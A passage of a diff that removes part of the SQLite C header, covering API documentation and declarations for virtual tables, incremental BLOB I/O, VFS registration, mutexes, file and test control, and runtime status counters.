not NULL) when SQLite -** no longer needs the pClientData pointer. ^The destructor will also -** be invoked if the call to sqlite3_create_module_v2() fails. -** ^The sqlite3_create_module() -** interface is equivalent to sqlite3_create_module_v2() with a NULL -** destructor. -*/ -SQLITE_API int sqlite3_create_module( - sqlite3 *db, /* SQLite connection to register module with */ - const char *zName, /* Name of the module */ - const sqlite3_module *p, /* Methods for the module */ - void *pClientData /* Client data for xCreate/xConnect */ -); -SQLITE_API int sqlite3_create_module_v2( - sqlite3 *db, /* SQLite connection to register module with */ - const char *zName, /* Name of the module */ - const sqlite3_module *p, /* Methods for the module */ - void *pClientData, /* Client data for xCreate/xConnect */ - void(*xDestroy)(void*) /* Module destructor function */ -); - -/* -** CAPI3REF: Virtual Table Instance Object -** KEYWORDS: sqlite3_vtab -** -** Every [virtual table module] implementation uses a subclass -** of this object to describe a particular instance -** of the [virtual table]. Each subclass will -** be tailored to the specific needs of the module implementation. -** The purpose of this superclass is to define certain fields that are -** common to all module implementations. -** -** ^Virtual tables methods can set an error message by assigning a -** string obtained from [sqlite3_mprintf()] to zErrMsg. The method should -** take care that any prior string is freed by a call to [sqlite3_free()] -** prior to assigning a new string to zErrMsg. ^After the error message -** is delivered up to the client application, the string will be automatically -** freed by sqlite3_free() and the zErrMsg field will be zeroed. -*/ -struct sqlite3_vtab { - const sqlite3_module *pModule; /* The module for this virtual table */ - int nRef; /* NO LONGER USED */ - char *zErrMsg; /* Error message from sqlite3_mprintf() */ - /* Virtual table implementations will typically add additional fields */ -}; - -/* -** CAPI3REF: Virtual Table Cursor Object -** KEYWORDS: sqlite3_vtab_cursor {virtual table cursor} -** -** Every [virtual table module] implementation uses a subclass of the -** following structure to describe cursors that point into the -** [virtual table] and are used -** to loop through the virtual table. Cursors are created using the -** [sqlite3_module.xOpen | xOpen] method of the module and are destroyed -** by the [sqlite3_module.xClose | xClose] method. Cursors are used -** by the [xFilter], [xNext], [xEof], [xColumn], and [xRowid] methods -** of the module. Each module implementation will define -** the content of a cursor structure to suit its own needs. -** -** This superclass exists in order to define fields of the cursor that -** are common to all implementations. -*/ -struct sqlite3_vtab_cursor { - sqlite3_vtab *pVtab; /* Virtual table of this cursor */ - /* Virtual table implementations will typically add additional fields */ -}; - -/* -** CAPI3REF: Declare The Schema Of A Virtual Table -** -** ^The [xCreate] and [xConnect] methods of a -** [virtual table module] call this interface -** to declare the format (the names and datatypes of the columns) of -** the virtual tables they implement. -*/ -SQLITE_API int sqlite3_declare_vtab(sqlite3*, const char *zSQL); - -/* -** CAPI3REF: Overload A Function For A Virtual Table -** -** ^(Virtual tables can provide alternative implementations of functions -** using the [xFindFunction] method of the [virtual table module]. -** But global versions of those functions -** must exist in order to be overloaded.)^ -** -** ^(This API makes sure a global version of a function with a particular -** name and number of parameters exists. If no such function exists -** before this API is called, a new function is created.)^ ^The implementation -** of the new function always causes an exception to be thrown. So -** the new function is not good for anything by itself. Its only -** purpose is to be a placeholder function that can be overloaded -** by a [virtual table]. -*/ -SQLITE_API int sqlite3_overload_function(sqlite3*, const char *zFuncName, int nArg); - -/* -** The interface to the virtual-table mechanism defined above (back up -** to a comment remarkably similar to this one) is currently considered -** to be experimental. The interface might change in incompatible ways. -** If this is a problem for you, do not use the interface at this time. -** -** When the virtual-table mechanism stabilizes, we will declare the -** interface fixed, support it indefinitely, and remove this comment. -*/ - -/* -** CAPI3REF: A Handle To An Open BLOB -** KEYWORDS: {BLOB handle} {BLOB handles} -** -** An instance of this object represents an open BLOB on which -** [sqlite3_blob_open | incremental BLOB I/O] can be performed. -** ^Objects of this type are created by [sqlite3_blob_open()] -** and destroyed by [sqlite3_blob_close()]. -** ^The [sqlite3_blob_read()] and [sqlite3_blob_write()] interfaces -** can be used to read or write small subsections of the BLOB. -** ^The [sqlite3_blob_bytes()] interface returns the size of the BLOB in bytes. -*/ -typedef struct sqlite3_blob sqlite3_blob; - -/* -** CAPI3REF: Open A BLOB For Incremental I/O -** -** ^(This interfaces opens a [BLOB handle | handle] to the BLOB located -** in row iRow, column zColumn, table zTable in database zDb; -** in other words, the same BLOB that would be selected by: -** -** 
-**     SELECT zColumn FROM zDb.zTable WHERE [rowid] = iRow;
-**
)^ -** -** ^If the flags parameter is non-zero, then the BLOB is opened for read -** and write access. ^If it is zero, the BLOB is opened for read access. -** ^It is not possible to open a column that is part of an index or primary -** key for writing. ^If [foreign key constraints] are enabled, it is -** not possible to open a column that is part of a [child key] for writing. -** -** ^Note that the database name is not the filename that contains -** the database but rather the symbolic name of the database that -** appears after the AS keyword when the database is connected using [ATTACH]. -** ^For the main database file, the database name is "main". -** ^For TEMP tables, the database name is "temp". -** -** ^(On success, [SQLITE_OK] is returned and the new [BLOB handle] is written -** to *ppBlob. Otherwise an [error code] is returned and *ppBlob is set -** to be a null pointer.)^ -** ^This function sets the [database connection] error code and message -** accessible via [sqlite3_errcode()] and [sqlite3_errmsg()] and related -** functions. ^Note that the *ppBlob variable is always initialized in a -** way that makes it safe to invoke [sqlite3_blob_close()] on *ppBlob -** regardless of the success or failure of this routine. -** -** ^(If the row that a BLOB handle points to is modified by an -** [UPDATE], [DELETE], or by [ON CONFLICT] side-effects -** then the BLOB handle is marked as "expired". -** This is true if any column of the row is changed, even a column -** other than the one the BLOB handle is open on.)^ -** ^Calls to [sqlite3_blob_read()] and [sqlite3_blob_write()] for -** an expired BLOB handle fail with a return code of [SQLITE_ABORT]. -** ^(Changes written into a BLOB prior to the BLOB expiring are not -** rolled back by the expiration of the BLOB. Such changes will eventually -** commit if the transaction continues to completion.)^ -** -** ^Use the [sqlite3_blob_bytes()] interface to determine the size of -** the opened blob. ^The size of a blob may not be changed by this -** interface. Use the [UPDATE] SQL command to change the size of a -** blob. -** -** ^The [sqlite3_bind_zeroblob()] and [sqlite3_result_zeroblob()] interfaces -** and the built-in [zeroblob] SQL function can be used, if desired, -** to create an empty, zero-filled blob in which to read or write using -** this interface. -** -** To avoid a resource leak, every open [BLOB handle] should eventually -** be released by a call to [sqlite3_blob_close()]. -*/ -SQLITE_API int sqlite3_blob_open( - sqlite3*, - const char *zDb, - const char *zTable, - const char *zColumn, - sqlite3_int64 iRow, - int flags, - sqlite3_blob **ppBlob -); - -/* -** CAPI3REF: Move a BLOB Handle to a New Row -** -** ^This function is used to move an existing blob handle so that it points -** to a different row of the same database table. ^The new row is identified -** by the rowid value passed as the second argument. Only the row can be -** changed. ^The database, table and column on which the blob handle is open -** remain the same. Moving an existing blob handle to a new row can be -** faster than closing the existing handle and opening a new one. -** -** ^(The new row must meet the same criteria as for [sqlite3_blob_open()] - -** it must exist and there must be either a blob or text value stored in -** the nominated column.)^ ^If the new row is not present in the table, or if -** it does not contain a blob or text value, or if another error occurs, an -** SQLite error code is returned and the blob handle is considered aborted. -** ^All subsequent calls to [sqlite3_blob_read()], [sqlite3_blob_write()] or -** [sqlite3_blob_reopen()] on an aborted blob handle immediately return -** SQLITE_ABORT. ^Calling [sqlite3_blob_bytes()] on an aborted blob handle -** always returns zero. -** -** ^This function sets the database handle error code and message. -*/ -SQLITE_API SQLITE_EXPERIMENTAL int sqlite3_blob_reopen(sqlite3_blob *, sqlite3_int64); - -/* -** CAPI3REF: Close A BLOB Handle -** -** ^Closes an open [BLOB handle]. -** -** ^Closing a BLOB shall cause the current transaction to commit -** if there are no other BLOBs, no pending prepared statements, and the -** database connection is in [autocommit mode]. -** ^If any writes were made to the BLOB, they might be held in cache -** until the close operation if they will fit. -** -** ^(Closing the BLOB often forces the changes -** out to disk and so if any I/O errors occur, they will likely occur -** at the time when the BLOB is closed. Any errors that occur during -** closing are reported as a non-zero return value.)^ -** -** ^(The BLOB is closed unconditionally. Even if this routine returns -** an error code, the BLOB is still closed.)^ -** -** ^Calling this routine with a null pointer (such as would be returned -** by a failed call to [sqlite3_blob_open()]) is a harmless no-op. -*/ -SQLITE_API int sqlite3_blob_close(sqlite3_blob *); - -/* -** CAPI3REF: Return The Size Of An Open BLOB -** -** ^Returns the size in bytes of the BLOB accessible via the -** successfully opened [BLOB handle] in its only argument. ^The -** incremental blob I/O routines can only read or overwriting existing -** blob content; they cannot change the size of a blob. -** -** This routine only works on a [BLOB handle] which has been created -** by a prior successful call to [sqlite3_blob_open()] and which has not -** been closed by [sqlite3_blob_close()]. Passing any other pointer in -** to this routine results in undefined and probably undesirable behavior. -*/ -SQLITE_API int sqlite3_blob_bytes(sqlite3_blob *); - -/* -** CAPI3REF: Read Data From A BLOB Incrementally -** -** ^(This function is used to read data from an open [BLOB handle] into a -** caller-supplied buffer. N bytes of data are copied into buffer Z -** from the open BLOB, starting at offset iOffset.)^ -** -** ^If offset iOffset is less than N bytes from the end of the BLOB, -** [SQLITE_ERROR] is returned and no data is read. ^If N or iOffset is -** less than zero, [SQLITE_ERROR] is returned and no data is read. -** ^The size of the blob (and hence the maximum value of N+iOffset) -** can be determined using the [sqlite3_blob_bytes()] interface. -** -** ^An attempt to read from an expired [BLOB handle] fails with an -** error code of [SQLITE_ABORT]. -** -** ^(On success, sqlite3_blob_read() returns SQLITE_OK. -** Otherwise, an [error code] or an [extended error code] is returned.)^ -** -** This routine only works on a [BLOB handle] which has been created -** by a prior successful call to [sqlite3_blob_open()] and which has not -** been closed by [sqlite3_blob_close()]. Passing any other pointer in -** to this routine results in undefined and probably undesirable behavior. -** -** See also: [sqlite3_blob_write()]. -*/ -SQLITE_API int sqlite3_blob_read(sqlite3_blob *, void *Z, int N, int iOffset); - -/* -** CAPI3REF: Write Data Into A BLOB Incrementally -** -** ^This function is used to write data into an open [BLOB handle] from a -** caller-supplied buffer. ^N bytes of data are copied from the buffer Z -** into the open BLOB, starting at offset iOffset. -** -** ^If the [BLOB handle] passed as the first argument was not opened for -** writing (the flags parameter to [sqlite3_blob_open()] was zero), -** this function returns [SQLITE_READONLY]. -** -** ^This function may only modify the contents of the BLOB; it is -** not possible to increase the size of a BLOB using this API. -** ^If offset iOffset is less than N bytes from the end of the BLOB, -** [SQLITE_ERROR] is returned and no data is written. ^If N is -** less than zero [SQLITE_ERROR] is returned and no data is written. -** The size of the BLOB (and hence the maximum value of N+iOffset) -** can be determined using the [sqlite3_blob_bytes()] interface. -** -** ^An attempt to write to an expired [BLOB handle] fails with an -** error code of [SQLITE_ABORT]. ^Writes to the BLOB that occurred -** before the [BLOB handle] expired are not rolled back by the -** expiration of the handle, though of course those changes might -** have been overwritten by the statement that expired the BLOB handle -** or by other independent statements. -** -** ^(On success, sqlite3_blob_write() returns SQLITE_OK. -** Otherwise, an [error code] or an [extended error code] is returned.)^ -** -** This routine only works on a [BLOB handle] which has been created -** by a prior successful call to [sqlite3_blob_open()] and which has not -** been closed by [sqlite3_blob_close()]. Passing any other pointer in -** to this routine results in undefined and probably undesirable behavior. -** -** See also: [sqlite3_blob_read()]. -*/ -SQLITE_API int sqlite3_blob_write(sqlite3_blob *, const void *z, int n, int iOffset); - -/* -** CAPI3REF: Virtual File System Objects -** -** A virtual filesystem (VFS) is an [sqlite3_vfs] object -** that SQLite uses to interact -** with the underlying operating system. Most SQLite builds come with a -** single default VFS that is appropriate for the host computer. -** New VFSes can be registered and existing VFSes can be unregistered. -** The following interfaces are provided. -** -** ^The sqlite3_vfs_find() interface returns a pointer to a VFS given its name. -** ^Names are case sensitive. -** ^Names are zero-terminated UTF-8 strings. -** ^If there is no match, a NULL pointer is returned. -** ^If zVfsName is NULL then the default VFS is returned. -** -** ^New VFSes are registered with sqlite3_vfs_register(). -** ^Each new VFS becomes the default VFS if the makeDflt flag is set. -** ^The same VFS can be registered multiple times without injury. -** ^To make an existing VFS into the default VFS, register it again -** with the makeDflt flag set. If two different VFSes with the -** same name are registered, the behavior is undefined. If a -** VFS is registered with a name that is NULL or an empty string, -** then the behavior is undefined. -** -** ^Unregister a VFS with the sqlite3_vfs_unregister() interface. -** ^(If the default VFS is unregistered, another VFS is chosen as -** the default. The choice for the new VFS is arbitrary.)^ -*/ -SQLITE_API sqlite3_vfs *sqlite3_vfs_find(const char *zVfsName); -SQLITE_API int sqlite3_vfs_register(sqlite3_vfs*, int makeDflt); -SQLITE_API int sqlite3_vfs_unregister(sqlite3_vfs*); - -/* -** CAPI3REF: Mutexes -** -** The SQLite core uses these routines for thread -** synchronization. Though they are intended for internal -** use by SQLite, code that links against SQLite is -** permitted to use any of these routines. -** -** The SQLite source code contains multiple implementations -** of these mutex routines. An appropriate implementation -** is selected automatically at compile-time. ^(The following -** implementations are available in the SQLite core: -** -**
    -**
  • SQLITE_MUTEX_PTHREADS -**
  • SQLITE_MUTEX_W32 -**
  • SQLITE_MUTEX_NOOP -**
)^ -** -** ^The SQLITE_MUTEX_NOOP implementation is a set of routines -** that does no real locking and is appropriate for use in -** a single-threaded application. ^The SQLITE_MUTEX_PTHREADS and -** SQLITE_MUTEX_W32 implementations are appropriate for use on Unix -** and Windows. -** -** ^(If SQLite is compiled with the SQLITE_MUTEX_APPDEF preprocessor -** macro defined (with "-DSQLITE_MUTEX_APPDEF=1"), then no mutex -** implementation is included with the library. In this case the -** application must supply a custom mutex implementation using the -** [SQLITE_CONFIG_MUTEX] option of the sqlite3_config() function -** before calling sqlite3_initialize() or any other public sqlite3_ -** function that calls sqlite3_initialize().)^ -** -** ^The sqlite3_mutex_alloc() routine allocates a new -** mutex and returns a pointer to it. ^If it returns NULL -** that means that a mutex could not be allocated. ^SQLite -** will unwind its stack and return an error. ^(The argument -** to sqlite3_mutex_alloc() is one of these integer constants: -** -**
    -**
  • SQLITE_MUTEX_FAST -**
  • SQLITE_MUTEX_RECURSIVE -**
  • SQLITE_MUTEX_STATIC_MASTER -**
  • SQLITE_MUTEX_STATIC_MEM -**
  • SQLITE_MUTEX_STATIC_MEM2 -**
  • SQLITE_MUTEX_STATIC_PRNG -**
  • SQLITE_MUTEX_STATIC_LRU -**
  • SQLITE_MUTEX_STATIC_LRU2 -**
)^ -** -** ^The first two constants (SQLITE_MUTEX_FAST and SQLITE_MUTEX_RECURSIVE) -** cause sqlite3_mutex_alloc() to create -** a new mutex. ^The new mutex is recursive when SQLITE_MUTEX_RECURSIVE -** is used but not necessarily so when SQLITE_MUTEX_FAST is used. -** The mutex implementation does not need to make a distinction -** between SQLITE_MUTEX_RECURSIVE and SQLITE_MUTEX_FAST if it does -** not want to. ^SQLite will only request a recursive mutex in -** cases where it really needs one. ^If a faster non-recursive mutex -** implementation is available on the host platform, the mutex subsystem -** might return such a mutex in response to SQLITE_MUTEX_FAST. -** -** ^The other allowed parameters to sqlite3_mutex_alloc() (anything other -** than SQLITE_MUTEX_FAST and SQLITE_MUTEX_RECURSIVE) each return -** a pointer to a static preexisting mutex. ^Six static mutexes are -** used by the current version of SQLite. Future versions of SQLite -** may add additional static mutexes. Static mutexes are for internal -** use by SQLite only. Applications that use SQLite mutexes should -** use only the dynamic mutexes returned by SQLITE_MUTEX_FAST or -** SQLITE_MUTEX_RECURSIVE. -** -** ^Note that if one of the dynamic mutex parameters (SQLITE_MUTEX_FAST -** or SQLITE_MUTEX_RECURSIVE) is used then sqlite3_mutex_alloc() -** returns a different mutex on every call. ^But for the static -** mutex types, the same mutex is returned on every call that has -** the same type number. -** -** ^The sqlite3_mutex_free() routine deallocates a previously -** allocated dynamic mutex. ^SQLite is careful to deallocate every -** dynamic mutex that it allocates. The dynamic mutexes must not be in -** use when they are deallocated. Attempting to deallocate a static -** mutex results in undefined behavior. ^SQLite never deallocates -** a static mutex. -** -** ^The sqlite3_mutex_enter() and sqlite3_mutex_try() routines attempt -** to enter a mutex. ^If another thread is already within the mutex, -** sqlite3_mutex_enter() will block and sqlite3_mutex_try() will return -** SQLITE_BUSY. ^The sqlite3_mutex_try() interface returns [SQLITE_OK] -** upon successful entry. ^(Mutexes created using -** SQLITE_MUTEX_RECURSIVE can be entered multiple times by the same thread. -** In such cases the, -** mutex must be exited an equal number of times before another thread -** can enter.)^ ^(If the same thread tries to enter any other -** kind of mutex more than once, the behavior is undefined. -** SQLite will never exhibit -** such behavior in its own use of mutexes.)^ -** -** ^(Some systems (for example, Windows 95) do not support the operation -** implemented by sqlite3_mutex_try(). On those systems, sqlite3_mutex_try() -** will always return SQLITE_BUSY. The SQLite core only ever uses -** sqlite3_mutex_try() as an optimization so this is acceptable behavior.)^ -** -** ^The sqlite3_mutex_leave() routine exits a mutex that was -** previously entered by the same thread. ^(The behavior -** is undefined if the mutex is not currently entered by the -** calling thread or is not currently allocated. SQLite will -** never do either.)^ -** -** ^If the argument to sqlite3_mutex_enter(), sqlite3_mutex_try(), or -** sqlite3_mutex_leave() is a NULL pointer, then all three routines -** behave as no-ops. -** -** See also: [sqlite3_mutex_held()] and [sqlite3_mutex_notheld()]. -*/ -SQLITE_API sqlite3_mutex *sqlite3_mutex_alloc(int); -SQLITE_API void sqlite3_mutex_free(sqlite3_mutex*); -SQLITE_API void sqlite3_mutex_enter(sqlite3_mutex*); -SQLITE_API int sqlite3_mutex_try(sqlite3_mutex*); -SQLITE_API void sqlite3_mutex_leave(sqlite3_mutex*); - -/* -** CAPI3REF: Mutex Methods Object -** -** An instance of this structure defines the low-level routines -** used to allocate and use mutexes. -** -** Usually, the default mutex implementations provided by SQLite are -** sufficient, however the user has the option of substituting a custom -** implementation for specialized deployments or systems for which SQLite -** does not provide a suitable implementation. In this case, the user -** creates and populates an instance of this structure to pass -** to sqlite3_config() along with the [SQLITE_CONFIG_MUTEX] option. -** Additionally, an instance of this structure can be used as an -** output variable when querying the system for the current mutex -** implementation, using the [SQLITE_CONFIG_GETMUTEX] option. -** -** ^The xMutexInit method defined by this structure is invoked as -** part of system initialization by the sqlite3_initialize() function. -** ^The xMutexInit routine is called by SQLite exactly once for each -** effective call to [sqlite3_initialize()]. -** -** ^The xMutexEnd method defined by this structure is invoked as -** part of system shutdown by the sqlite3_shutdown() function. The -** implementation of this method is expected to release all outstanding -** resources obtained by the mutex methods implementation, especially -** those obtained by the xMutexInit method. ^The xMutexEnd() -** interface is invoked exactly once for each call to [sqlite3_shutdown()]. -** -** ^(The remaining seven methods defined by this structure (xMutexAlloc, -** xMutexFree, xMutexEnter, xMutexTry, xMutexLeave, xMutexHeld and -** xMutexNotheld) implement the following interfaces (respectively): -** -**
    -**
  • [sqlite3_mutex_alloc()]
    • -**
  • [sqlite3_mutex_free()]
    • -**
  • [sqlite3_mutex_enter()]
    • -**
  • [sqlite3_mutex_try()]
    • -**
  • [sqlite3_mutex_leave()]
    • -**
  • [sqlite3_mutex_held()]
    • -**
  • [sqlite3_mutex_notheld()]
    • -**
)^ -** -** The only difference is that the public sqlite3_XXX functions enumerated -** above silently ignore any invocations that pass a NULL pointer instead -** of a valid mutex handle. The implementations of the methods defined -** by this structure are not required to handle this case, the results -** of passing a NULL pointer instead of a valid mutex handle are undefined -** (i.e. it is acceptable to provide an implementation that segfaults if -** it is passed a NULL pointer). -** -** The xMutexInit() method must be threadsafe. ^It must be harmless to -** invoke xMutexInit() multiple times within the same process and without -** intervening calls to xMutexEnd(). Second and subsequent calls to -** xMutexInit() must be no-ops. -** -** ^xMutexInit() must not use SQLite memory allocation ([sqlite3_malloc()] -** and its associates). ^Similarly, xMutexAlloc() must not use SQLite memory -** allocation for a static mutex. ^However xMutexAlloc() may use SQLite -** memory allocation for a fast or recursive mutex. -** -** ^SQLite will invoke the xMutexEnd() method when [sqlite3_shutdown()] is -** called, but only if the prior call to xMutexInit returned SQLITE_OK. -** If xMutexInit fails in any way, it is expected to clean up after itself -** prior to returning. -*/ -typedef struct sqlite3_mutex_methods sqlite3_mutex_methods; -struct sqlite3_mutex_methods { - int (*xMutexInit)(void); - int (*xMutexEnd)(void); - sqlite3_mutex *(*xMutexAlloc)(int); - void (*xMutexFree)(sqlite3_mutex *); - void (*xMutexEnter)(sqlite3_mutex *); - int (*xMutexTry)(sqlite3_mutex *); - void (*xMutexLeave)(sqlite3_mutex *); - int (*xMutexHeld)(sqlite3_mutex *); - int (*xMutexNotheld)(sqlite3_mutex *); -}; - -/* -** CAPI3REF: Mutex Verification Routines -** -** The sqlite3_mutex_held() and sqlite3_mutex_notheld() routines -** are intended for use inside assert() statements. ^The SQLite core -** never uses these routines except inside an assert() and applications -** are advised to follow the lead of the core. ^The SQLite core only -** provides implementations for these routines when it is compiled -** with the SQLITE_DEBUG flag. ^External mutex implementations -** are only required to provide these routines if SQLITE_DEBUG is -** defined and if NDEBUG is not defined. -** -** ^These routines should return true if the mutex in their argument -** is held or not held, respectively, by the calling thread. -** -** ^The implementation is not required to provide versions of these -** routines that actually work. If the implementation does not provide working -** versions of these routines, it should at least provide stubs that always -** return true so that one does not get spurious assertion failures. -** -** ^If the argument to sqlite3_mutex_held() is a NULL pointer then -** the routine should return 1. This seems counter-intuitive since -** clearly the mutex cannot be held if it does not exist. But -** the reason the mutex does not exist is because the build is not -** using mutexes. And we do not want the assert() containing the -** call to sqlite3_mutex_held() to fail, so a non-zero return is -** the appropriate thing to do. ^The sqlite3_mutex_notheld() -** interface should also return 1 when given a NULL pointer. -*/ -#ifndef NDEBUG -SQLITE_API int sqlite3_mutex_held(sqlite3_mutex*); -SQLITE_API int sqlite3_mutex_notheld(sqlite3_mutex*); -#endif - -/* -** CAPI3REF: Mutex Types -** -** The [sqlite3_mutex_alloc()] interface takes a single argument -** which is one of these integer constants. -** -** The set of static mutexes may change from one SQLite release to the -** next. Applications that override the built-in mutex logic must be -** prepared to accommodate additional static mutexes. -*/ -#define SQLITE_MUTEX_FAST 0 -#define SQLITE_MUTEX_RECURSIVE 1 -#define SQLITE_MUTEX_STATIC_MASTER 2 -#define SQLITE_MUTEX_STATIC_MEM 3 /* sqlite3_malloc() */ -#define SQLITE_MUTEX_STATIC_MEM2 4 /* NOT USED */ -#define SQLITE_MUTEX_STATIC_OPEN 4 /* sqlite3BtreeOpen() */ -#define SQLITE_MUTEX_STATIC_PRNG 5 /* sqlite3_random() */ -#define SQLITE_MUTEX_STATIC_LRU 6 /* lru page list */ -#define SQLITE_MUTEX_STATIC_LRU2 7 /* NOT USED */ -#define SQLITE_MUTEX_STATIC_PMEM 7 /* sqlite3PageMalloc() */ - -/* -** CAPI3REF: Retrieve the mutex for a database connection -** -** ^This interface returns a pointer the [sqlite3_mutex] object that -** serializes access to the [database connection] given in the argument -** when the [threading mode] is Serialized. -** ^If the [threading mode] is Single-thread or Multi-thread then this -** routine returns a NULL pointer. -*/ -SQLITE_API sqlite3_mutex *sqlite3_db_mutex(sqlite3*); - -/* -** CAPI3REF: Low-Level Control Of Database Files -** -** ^The [sqlite3_file_control()] interface makes a direct call to the -** xFileControl method for the [sqlite3_io_methods] object associated -** with a particular database identified by the second argument. ^The -** name of the database is "main" for the main database or "temp" for the -** TEMP database, or the name that appears after the AS keyword for -** databases that are added using the [ATTACH] SQL command. -** ^A NULL pointer can be used in place of "main" to refer to the -** main database file. -** ^The third and fourth parameters to this routine -** are passed directly through to the second and third parameters of -** the xFileControl method. ^The return value of the xFileControl -** method becomes the return value of this routine. -** -** ^The SQLITE_FCNTL_FILE_POINTER value for the op parameter causes -** a pointer to the underlying [sqlite3_file] object to be written into -** the space pointed to by the 4th parameter. ^The SQLITE_FCNTL_FILE_POINTER -** case is a short-circuit path which does not actually invoke the -** underlying sqlite3_io_methods.xFileControl method. -** -** ^If the second parameter (zDbName) does not match the name of any -** open database file, then SQLITE_ERROR is returned. ^This error -** code is not remembered and will not be recalled by [sqlite3_errcode()] -** or [sqlite3_errmsg()]. The underlying xFileControl method might -** also return SQLITE_ERROR. There is no way to distinguish between -** an incorrect zDbName and an SQLITE_ERROR return from the underlying -** xFileControl method. -** -** See also: [SQLITE_FCNTL_LOCKSTATE] -*/ -SQLITE_API int sqlite3_file_control(sqlite3*, const char *zDbName, int op, void*); - -/* -** CAPI3REF: Testing Interface -** -** ^The sqlite3_test_control() interface is used to read out internal -** state of SQLite and to inject faults into SQLite for testing -** purposes. ^The first parameter is an operation code that determines -** the number, meaning, and operation of all subsequent parameters. -** -** This interface is not for use by applications. It exists solely -** for verifying the correct operation of the SQLite library. Depending -** on how the SQLite library is compiled, this interface might not exist. -** -** The details of the operation codes, their meanings, the parameters -** they take, and what they do are all subject to change without notice. -** Unlike most of the SQLite API, this function is not guaranteed to -** operate consistently from one release to the next. -*/ -SQLITE_API int sqlite3_test_control(int op, ...); - -/* -** CAPI3REF: Testing Interface Operation Codes -** -** These constants are the valid operation code parameters used -** as the first argument to [sqlite3_test_control()]. -** -** These parameters and their meanings are subject to change -** without notice. These values are for testing purposes only. -** Applications should not use any of these parameters or the -** [sqlite3_test_control()] interface. -*/ -#define SQLITE_TESTCTRL_FIRST 5 -#define SQLITE_TESTCTRL_PRNG_SAVE 5 -#define SQLITE_TESTCTRL_PRNG_RESTORE 6 -#define SQLITE_TESTCTRL_PRNG_RESET 7 -#define SQLITE_TESTCTRL_BITVEC_TEST 8 -#define SQLITE_TESTCTRL_FAULT_INSTALL 9 -#define SQLITE_TESTCTRL_BENIGN_MALLOC_HOOKS 10 -#define SQLITE_TESTCTRL_PENDING_BYTE 11 -#define SQLITE_TESTCTRL_ASSERT 12 -#define SQLITE_TESTCTRL_ALWAYS 13 -#define SQLITE_TESTCTRL_RESERVE 14 -#define SQLITE_TESTCTRL_OPTIMIZATIONS 15 -#define SQLITE_TESTCTRL_ISKEYWORD 16 -#define SQLITE_TESTCTRL_SCRATCHMALLOC 17 -#define SQLITE_TESTCTRL_LOCALTIME_FAULT 18 -#define SQLITE_TESTCTRL_EXPLAIN_STMT 19 -#define SQLITE_TESTCTRL_LAST 19 - -/* -** CAPI3REF: SQLite Runtime Status -** -** ^This interface is used to retrieve runtime status information -** about the performance of SQLite, and optionally to reset various -** highwater marks. ^The first argument is an integer code for -** the specific parameter to measure. ^(Recognized integer codes -** are of the form [status parameters | SQLITE_STATUS_...].)^ -** ^The current value of the parameter is returned into *pCurrent. -** ^The highest recorded value is returned in *pHighwater. ^If the -** resetFlag is true, then the highest record value is reset after -** *pHighwater is written. ^(Some parameters do not record the highest -** value. For those parameters -** nothing is written into *pHighwater and the resetFlag is ignored.)^ -** ^(Other parameters record only the highwater mark and not the current -** value. For these latter parameters nothing is written into *pCurrent.)^ -** -** ^The sqlite3_status() routine returns SQLITE_OK on success and a -** non-zero [error code] on failure. -** -** This routine is threadsafe but is not atomic. This routine can be -** called while other threads are running the same or different SQLite -** interfaces. However the values returned in *pCurrent and -** *pHighwater reflect the status of SQLite at different points in time -** and it is possible that another thread might change the parameter -** in between the times when *pCurrent and *pHighwater are written. -** -** See also: [sqlite3_db_status()] -*/ -SQLITE_API int sqlite3_status(int op, int *pCurrent, int *pHighwater, int resetFlag); - - -/* -** CAPI3REF: Status Parameters -** KEYWORDS: {status parameters} -** -** These integer constants designate various run-time status parameters -** that can be returned by [sqlite3_status()]. -** -**
-** [[SQLITE_STATUS_MEMORY_USED]] ^(
SQLITE_STATUS_MEMORY_USED
-**
This parameter is the current amount of memory checked out -** using [sqlite3_malloc()], either directly or indirectly. The -** figure includes calls made to [sqlite3_malloc()] by the application -** and internal memory usage by the SQLite library. Scratch memory -** controlled by [SQLITE_CONFIG_SCRATCH] and auxiliary page-cache -** memory controlled by [SQLITE_CONFIG_PAGECACHE] is not included in -** this parameter. The amount returned is the sum of the allocation -** sizes as reported by the xSize method in [sqlite3_mem_methods].
)^ -** -** [[SQLITE_STATUS_MALLOC_SIZE]] ^(
SQLITE_STATUS_MALLOC_SIZE
-**
This parameter records the largest memory allocation request -** handed to [sqlite3_malloc()] or [sqlite3_realloc()] (or their -** internal equivalents). Only the value returned in the -** *pHighwater parameter to [sqlite3_status()] is of interest. -** The value written into the *pCurrent parameter is undefined.
)^ -** -** [[SQLITE_STATUS_MALLOC_COUNT]] ^(
SQLITE_STATUS_MALLOC_COUNT
-**
This parameter records the number of separate memory allocations -** currently checked out.
)^ -** -** [[SQLITE_STATUS_PAGECACHE_USED]] ^(
SQLITE_STATUS_PAGECACHE_USED
-**
This parameter returns the number of pages used out of the -** [pagecache memory allocator] that was configured using -** [SQLITE_CONFIG_PAGECACHE]. The -** value returned is in pages, not in bytes.
)^ -** -** [[SQLITE_STATUS_PAGECACHE_OVERFLOW]] -** ^(
SQLITE_STATUS_PAGECACHE_OVERFLOW
-**
This parameter returns the number of bytes of page cache -** allocation which could not be satisfied by the [SQLITE_CONFIG_PAGECACHE] -** buffer and where forced to overflow to [sqlite3_malloc()]. The -** returned value includes allocations that overflowed because they -** where too large (they were larger than the "sz" parameter to -** [SQLITE_CONFIG_PAGECACHE]) and allocations that overflowed because -** no space was left in the page cache.
)^ -** -** [[SQLITE_STATUS_PAGECACHE_SIZE]] ^(
SQLITE_STATUS_PAGECACHE_SIZE
-**
This parameter records the largest memory allocation request -** handed to [pagecache memory allocator]. Only the value returned in the -** *pHighwater parameter to [sqlite3_status()] is of interest. -** The value written into the *pCurrent parameter is undefined.
)^ -** -** [[SQLITE_STATUS_SCRATCH_USED]] ^(
SQLITE_STATUS_SCRATCH_USED
-**
This parameter returns the number of allocations used out of the -** [scratch memory allocator] configured using -** [SQLITE_CONFIG_SCRATCH]. The value returned is in allocations, not -** in bytes. Since a single thread may only have one scratch allocation -** outstanding at time, this parameter also reports the number of threads -** using scratch memory at the same time.
)^ -** -** [[SQLITE_STATUS_SCRATCH_OVERFLOW]] ^(
SQLITE_STATUS_SCRATCH_OVERFLOW
-**
This parameter returns the number of bytes of scratch memory -** allocation which could not be satisfied by the [SQLITE_CONFIG_SCRATCH] -** buffer and where forced to overflow to [sqlite3_malloc()]. The values -** returned include overflows because the requested allocation was too -** larger (that is, because the requested allocation was larger than the -** "sz" parameter to [SQLITE_CONFIG_SCRATCH]) and because no scratch buffer -** slots were available. -**
